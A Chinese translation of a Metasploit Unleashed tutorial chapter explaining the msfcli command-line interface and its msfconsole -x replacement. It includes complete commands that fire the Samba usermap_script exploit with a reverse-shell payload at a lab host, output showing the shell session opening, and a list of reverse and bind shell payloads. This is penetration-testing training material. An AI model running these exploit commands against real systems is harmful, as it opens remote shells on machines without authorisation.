第四期_Metasploit 基础(一)msfcli《Metasploit Unleashed Simplified Chinese version（Metasploit官方文档教程中文版）》

翻译者说明1：本文为Metasploit Unleashed中文版翻译。原文链接：https://www.offensive-security.com/metasploit-unleashed/

翻译者说明2：为减轻翻译负担采用了机器翻译，翻译者从中人工剔除了机翻错误或歧义的问题，但难免会存在小问题，请读者见谅。如发现文章翻译存在问题，可在文章下方评论留言。

翻译者说明3：如果你喜欢这篇翻译，请给关注一下我并给文章点个赞，你的支持是给我工作的最大鼓励。

翻译者说明4：其他章节一并整合在专栏中，如有兴趣可关注专栏了解更多内容。

四、METASPLOIT 基础

在学习如何使用Metasploit时，您会发现有许多不同的界面可用于此黑客工具，每个界面都有自己的优点和缺点。因此，没有一个完美的界面可以与Metasploit控制台一起使用，尽管MSFConsole是访问大多数Metasploit命令的唯一受支持方式。但是，对所有 Metasploit 接口感到满意仍然是有益的。

下一个Metasploit Tutorial将概述各种接口，以及一些最佳利用每个接口的讨论。

1. MSFCLI

a）什么是 MSFCLI？

msfcli 为框架提供了强大的命令行界面。这使您可以轻松地将Metasploit漏洞添加到您可能创建的任何脚本中。

注意：截至 2015-06-18 msfcli 已被删除。通过 msfconsole 获得类似功能的一种方法是使用 -x
选项。例如，以下命令设置 samba/usermap_script的所有选项，并针对目标运行该选项：

root@kali:~# msfconsole -x "use exploit/multi/samba/usermap_script;\
set RHOST 172.16.194.172;\
set PAYLOAD cmd/unix/reverse;\
set LHOST 172.16.194.163;\
run"

b）命令行界面命令

运行 msfcli 帮助命令：

root@kali:~# msfcli -h
Usage: /usr/bin/msfcli<option=value> [mode]
===========================================================

    Mode           Description
    ----           -----------
    (A)dvanced     Show available advanced options for this module
    (AC)tions      Show available actions for this auxiliary module
    (C)heck        Run the check routine of the selected module
    (E)xecute      Execute the selected module
    (H)elp         You're looking at it baby!
    (I)DS Evasion  Show available ids evasion options for this module
    (O)ptions      Show available options for this module
    (P)ayloads     Show available payloads for this module
    (S)ummary      Show information about this module
    (T)argets      Show available targets for this exploit module

Examples:
msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E

注意：使用 msfcli 时，使用"等于"运算符 = 分配变量，并且所有选项都区分大小写。

root@kali:~# msfcli exploit/multi/samba/usermap_script RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E
[*] Please wait while we load the module tree...
 
                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
       =[ svn r15767 updated today (2012.08.22)

RHOST => 172.16.194.172
PAYLOAD > cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at 2012-06-14 09:58:19 -0400

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

如果您不完全确定哪些选项属于特定模块，则可以在卡住的任何一点将字母 O 附加到字符串的末尾。

root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Initializing modules...

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port

若要显示当前模块的可用负载，请将字母 P 追加到 msfcli 命令行字符串。

root@kali:~# msfcli exploit/multi/samba/usermap_script P
[*]Initializing modules...

Compatible payloads
===================

   Name                                Description
   ----                                -----------
   cmd/unix/bind_awk                   Listen for a connection and spawn a command shell via GNU AWK
   cmd/unix/bind_inetd                 Listen for a connection and spawn a command shell (persistent)
   cmd/unix/bind_lua                   Listen for a connection and spawn a command shell via Lua
   cmd/unix/bind_netcat                Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_netcat_gaping         Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_netcat_gaping_ipv6    Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_perl                  Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_perl_ipv6             Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_ruby                  Continually listen for a connection and spawn a command shell via Ruby
   cmd/unix/bind_ruby_ipv6             Continually listen for a connection and spawn a command shell via Ruby
   cmd/unix/bind_zsh                   
        Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
        often available, please be aware it isn't usually installed by default.
      
   cmd/unix/generic                    Executes the supplied command
   cmd/unix/reverse                    Creates an interactive shell through two inbound connections
   cmd/unix/reverse_awk                Creates an interactive shell via GNU AWK
   cmd/unix/reverse_lua                Creates an interactive shell via Lua
   cmd/unix/reverse_netcat             Creates an interactive shell via netcat
   cmd/unix/reverse_netcat_gaping      Creates an interactive shell via netcat
   cmd/unix/reverse_openssl            Creates an interactive shell through two inbound connections
   cmd/unix/reverse_perl               Creates an interactive shell via perl
   cmd/unix/reverse_perl_ssl           Creates an interactive shell via perl, uses SSL
   cmd/unix/reverse_php_ssl            Creates an interactive shell via php, uses SSL
   cmd/unix/reverse_python             Connect back and create a command shell via Python
   cmd/unix/reverse_python_ssl         Creates an interactive shell via python, uses SSL, encodes with base64 by design.
   cmd/unix/reverse_ruby               Connect back and create a command shell via Ruby
   cmd/unix/reverse_ruby_ssl           Connect back and create a command shell via Ruby, uses SSL
   cmd/unix/reverse_ssl_double_telnet  Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
   cmd/unix/reverse_zsh                
        Connect back and create a command shell via Zsh.  Note: Although Zsh is often
        available, please be aware it isn't usually installed by default.

MSFcli 接口的优势

• 支持启动漏洞利用和辅助模块
• 对特定任务有用
• 适合学习
• 在测试或开发新漏洞时使用方便
• 一次性利用的好工具
• 如果您确切地知道需要哪些漏洞和选项，那就太好了
• 非常适合在脚本和基本自动化中使用

msfcli 唯一真正的缺点是它不像 msfconsole 那样受到支持，并且一次只能处理一个 shell，这使得它对于客户端攻击来说是相当不切实际的。它也不支持msfconsole。